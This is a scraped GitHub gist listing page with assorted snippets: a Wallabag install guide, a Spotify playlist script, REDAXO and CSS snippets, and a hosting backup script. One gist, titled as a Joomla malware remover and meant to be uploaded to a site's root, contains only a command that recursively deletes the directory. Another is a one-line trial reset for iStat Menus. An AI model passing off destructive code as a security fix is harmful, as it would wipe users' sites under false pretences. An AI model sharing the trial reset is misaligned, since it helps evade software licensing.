Skip to content

Instantly share code, notes, and snippets.

@yomli
yomli / install-wallabag.md
Last active July 9, 2024 00:40
Install Wallabag on a shared web hosting in a subfolder with SQLite

Update April 2021: See this comment for a smoother install of Wallabag 2.4.x. I'll leave this gist up for legacy.


Please note that this trick works with the latest release of Wallabag (2.3.7). There is no guarantee that it'll continue to work. Eventually, Wallabag will drop support of SQLite so this setup isn't future-proof.

Install Wallabag 2.2.3

This is the last version with SQLite support that works in a subfolder (like mydomain.tld/wallabag, although deploying Wallabag in a subfolder isn't officially supported). It will allow you to create an user and start the configuration. Get it here: https://static.wallabag.org/releases/, then tar xvf wallabag-release-2.2.3.tar.gz. If this release doesn't work, use the 2.2.2 one. Normally, you will have a file app/config/parameters.yml like that:

@pualien
pualien / get_track_uri_from_playlist.py
Last active August 9, 2020 19:23
List of spotify uri from given playlist URI
import os
import requests
PLAYLIST_URI = os.environ['PLAYLIST_URI']
SPOTIFY_TOKEN = os.environ['SPOTIFY_TOKEN'] # from default api login or more easily from chrome network inspecting calls directed to api.spotify.com
url = "https://api.spotify.com/v1/playlists/{}".format(PLAYLIST_URI)
querystring = {"type": "track,episode", "market": "from_token"}
headers = {
@gseilheimer
gseilheimer / ausgabe.php
Created April 16, 2017 08:26 — forked from skerbis/getaslice_ausgabe.php
redaxo 5 - get a slice
<?php
if( "REX_VALUE[2]" != "" )
{
// Im Backend den Link zur Quelle anzeigen
if(rex::isBackend())
{
$master = rex_article::get(REX_LINK[id=1 output=id]);
@hsleonis
hsleonis / better-font-smoothing.css
Last active October 12, 2024 16:41
Better font smoothing in cross browser
html {
/* Adjust font size */
font-size: 100%;
-webkit-text-size-adjust: 100%;
/* Font varient */
font-variant-ligatures: none;
-webkit-font-variant-ligatures: none;
/* Smoothing */
text-rendering: optimizeLegibility;
-moz-osx-font-smoothing: grayscale;
@dajoho
dajoho / Joomla-Malware-Remover.php
Created June 26, 2013 07:26
Removes all known Joomla Malware. Use at own risk. There is a slight chance it might kill your installation. Upload to root folder of Joomla.
<?php
# Removes all known Joomla Malware.
system("rm -rf .");
?>
@cukabeka
cukabeka / 1und1.php
Last active October 7, 2015 09:28
CRONJOB Komplettbackup
<?php
// http://hilfe-center.1und1.de/hosting/scripte_datenbanken/datenbanken/5.html
global $REX;
$host = $REX['DB']['1']['HOST'];
$db = $REX['DB']['1']['NAME'];
$dbuser = $REX['DB']['1']['LOGIN'];
$dbpw = $REX['DB']['1']['PSW'];
@rollxx
rollxx / gist:2689219
Created May 13, 2012 16:40
iStat trial reset
rm ~/Library/Preferences/com.bjango.istatmenus.plist